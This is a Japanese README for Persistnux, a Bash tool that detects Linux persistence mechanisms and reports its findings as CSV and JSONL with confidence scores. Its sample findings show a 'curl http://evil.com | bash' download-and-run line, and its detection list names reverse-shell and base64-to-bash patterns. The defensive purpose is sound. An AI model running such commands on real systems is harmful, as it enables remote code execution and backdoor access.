
BashベースのLinux永続化検出ツールで、DFIR調査向け。15以上の永続化メカニズム(systemd、cron、カーネルモジュール、SSH、コンテナ)を信頼度スコアでスキャンし、フォレンジック分析用のCSV/JSONLレポートを生成します。
デジタルフォレンジックおよびインシデント対応(DFIR)調査のための包括的なLinux永続化検出ツール。
Persistnuxは、攻撃者が侵害したシステムへのアクセスを維持するために使用する既知のLinux永続化メカニズムを特定するために設計されたbashベースのツールです。システム全体で包括的なチェックを実行し、さらなる分析のためにCSVおよびJSONL形式の詳細レポートを生成します。
/etc/systemd/system、/lib/systemd/system、/usr/lib/systemd/system 内のサービスファイル(.service)/etc/crontab、/etc/cron.d/*)/etc/cron.{daily,hourly,weekly,monthly})/etc/cron.allow および /etc/cron.deny ACLファイル — 存在しないユーザーを参照するエントリにフラグを付与/etc/profile、/etc/bash.bashrc、/etc/zshrc)/etc/profile.d/*).bashrc、.bash_profile、.zshrc、.profile など)/etc/rc.local およびその亜種/etc/init.d)/etc/rc*.d)/etc/ld.so.preload) — リストされた各ライブラリをパッケージマネージャーで検証/etc/ld.so.conf、/etc/ld.so.conf.d/) — 設定ファイルの整合性+非標準パスの .so ファイルをスキャンして検証/etc/environment のLD_PRELOAD/LD_LIBRARY_PATH — 環境ファイルにHIGHフラグ;参照されたライブラリパスを検証(管理外/変更あり→CRITICAL)/etc/modprobe.d/、/etc/modprobe.conf) — ファイル整合性;install ディレクティブを分析し疑わしいコマンドターゲットを検出;セキュリティモジュール(apparmor、selinux、seccomp)の blacklist にHIGHフラグ/etc/modules、/etc/modules-load.d/) — 設定の整合性;参照されたモジュール名を modinfo で .ko ファイルに解決して検証.config/autostart、/etc/xdg/autostart) — root時は全ユーザーのホームディレクトリをスキャン/etc/environment) — LD_PRELOAD/LD_LIBRARY_PATHのライブラリパスを検証/etc/sudoers、/etc/sudoers.d/) — NOPASSWD/ALLパターン→HIGH.so モジュールをパッケージマネージャーで検証;@include ディレクティブを追跡;/etc/pam.conf を含むpam_exec.so スクリプト分析 — 欠落/疑わしいスクリプト→CRITICALpam_python.so / pam_perl.so リレー検出 — スクリプトを抽出して分析/etc/security/ 内の pam_script.so フックファイル検出~/.ssh/authorized_keys — 最近変更されたキーにフラグ;command= オプションの内容を分析し疑わしいパターンを検出~/.ssh/rc — 存在にMEDIUMフラグ;疑わしい/リバースシェルコンテンツ→HIGH/CRITICALdpkg -V、RHEL/CentOSでは rpm -Va)/usr/bin、/usr/sbin、/bin、/sbin 内の変更されたファイル→CRITICAL発見/lib/security 内の変更されたPAMモジュール→CRITICAL発見init= カーネルパラメータ注入(/etc/default/grub、/etc/default/grub.d/*.cfg)/ に配置されたinitスクリプト/sysroot/etc/shadow に書き込む pre-pivot フック/etc/initramfs-tools/scripts/ および /hooks/)/boot/initrd.img-* イメージ(mtimeベース)ResultAny/ResultInactive/ResultActive=yes を含む .pkla ファイルunix-user:*)の付与polkit.Result.YES を含む .rules ファイル(JavaScriptベースのPolkit >= 0.106)Exec= 登録(/usr/share/dbus-1/system-services/)allow own="*" または send_destination="*" ディレクティブ/etc/NetworkManager/dispatcher.d/)RUN+= ディレクティブ(/etc/udev/rules.d/、/lib/udev/rules.d/)/run/udev/rules.d/ へのランタイム注入ルールRUN+= 内の at/cron 委譲パターン(よくあるフォアグラウンド制限バイパス)--privileged、--pid=host)docker.sock バインドマウント(Docker APIを介してホストを完全に制御)nsenter -t 1getcap によるファイルケーパビリティスキャン — GTFOBins上の cap_setuid+ep → CRITICAL.original、.old、.bak、.real)とラッパースクリプト/etc/passwd 内のUID 0を持つ非rootアカウント/etc/passwd のシェルフィールドの末尾スペースによるシェルマスキングauthorized_keys ファイルを持つシステムアカウント(UID 1-999)# Clone the repository
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# Make the script executable
chmod +x persistnux.sh
# Run with default settings (shows only suspicious findings)
sudo ./persistnux.sh
# Show help and all options
./persistnux.sh --help
# Run as regular user (limited scope)
./persistnux.sh
デフォルトでは、Persistnuxは疑わしい発見(MEDIUM、HIGH、CRITICALの信頼度)のみを表示し、ノイズを低減して対応すべき脅威に焦点を当てます。
# Default: Show only suspicious findings
sudo ./persistnux.sh
# Show all findings including baseline (LOW confidence)
sudo ./persistnux.sh --all
# OR
sudo FILTER_MODE=all ./persistnux.sh
# Show only HIGH and CRITICAL confidence findings
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# Combine filters: HIGH confidence only
sudo ./persistnux.sh --min-confidence HIGH
# Specify custom output directory
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# Combine with filtering
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
デフォルトでは、Persistnuxは出力ディレクトリ ./persistnux_output/ を作成し、以下を含みます:
persistnux_<hostname>_<timestamp>.csv - CSV形式レポートpersistnux_<hostname>_<timestamp>.jsonl - JSONL形式レポート(1行に1つのJSONオブジェクト)persistnux_<hostname>_<timestamp>_report.txt - 発見件数とスキャンメタデータを含む人間可読なサマリレポートtimestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
suspicious_script_content、modified_package、unmanaged_binary)Persistnuxはインテリジェントな信頼度スコアリングを使用して誤検知を低減します:
Persistnuxには誤検知を低減するためのいくつかの機能が含まれています:
dpkg(Debian/Ubuntu)または rpm(RedHat/CentOS)で管理されているファイルは低い信頼度スコアを受け取るPersistnuxは以下のものを検出すると、自動的に高い信頼度でフラグを付けます:
bash -i >& /dev/tcp/、sh -i >& /dev/udp/nc、netcat、socat、telnetpython -c 'import socket'curl | bash、wget | shcurl URL -o /tmp/file && chmod +xbase64 -d | bash、eval $(echo BASE64)eval、exec/tmp、/dev/shm、/var/tmpchmod +x、chmod 777chmod u+sfind、grep、stat、sha256sum、awk、filesystemctl、lsmod、modinfo、getcap、dpkg/rpm(特定のチェック用)python/jqは不要)注意: このツールは主にUbuntu/Debianシステムでテストされています。RedHat、Fedora、およびRPMベースのディストリビューション向けのパッケージマネージャーサポートはコード内に実装されていますが、ライブテスト環境では検証されていません。RPMベースのディストリビューションに関する貢献やテストレポートは歓迎します。
Persistnuxは、Persistnuxが追跡するのと同じ永続化メカニズムをインストールするPANIXに対してベンチマークされています。
tests/panix_benchmark.sh にある繰り返し可能なハーネスは、各PANIXテクニックを適用し、Persistnuxを実行し、ベースラインとの差分により検出を確認します。
テストマシンで適用可能なすべてのファイルベースのPANIXテクニックは、MEDIUM+の信頼度で検出されます。完全なカバレッジ表と方法論については PANIX_BENCHMARK.md を参照してください。
⚠️ ベンチマークは実際のバックドアをインストールします — 使い捨てのVMでのみ実行してください。
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX
貢献は歓迎します!以下の項目について、プルリクエストの送信やイシューの作成を自由に行ってください:
MITライセンス - 詳細はLICENSEファイルを参照してください
DFIRコミュニティのために、Linuxインシデント対応およびフォレンジック調査を支援するために開発されました。
このツールは、認可されたセキュリティテスト、インシデント対応、およびフォレンジック分析のみを目的としています。このツールをシステム上で実行する前に、適切な認可を得ていることを確認する責任は利用者にあります。
質問、イシュー、または貢献については、GitHubのイシュートラッカーを使用してください。
lsmod) — 列挙と整合性検証pam_env.conf および ~/.pam_environment のLD_PRELOADライブラリ検証/etc/security/ の全般的なスキャン/etc/update-motd.d/) — パッケージ検証;変更あり→CRITICAL| ディストリビューション | ステータス | 備考 |
|---|
| Ubuntu 22.04 LTS | ✅ テスト済み | 主な開発およびテストプラットフォーム |
| Ubuntu 20.04 LTS | ✅ テスト済み | 完全サポート |
| Debian 11/12 | ✅ テスト済み | dpkgベース、同じパス規約 |
| Kali Linux (rolling) | ✅ テスト済み | PANIX検出ベンチマークで使用(下記参照) |
| RedHat / RHEL | ⚠️ 未テスト | rpmサポートは実装済みだが、ライブシステムでは未検証 |
| Fedora | ⚠️ 未テスト | rpmサポートは実装済みだが、ライブシステムでは未検証 |
| CentOS / AlmaLinux / Rocky | ⚠️ 未テスト | rpmサポートは実装済みだが、ライブシステムでは未検証 |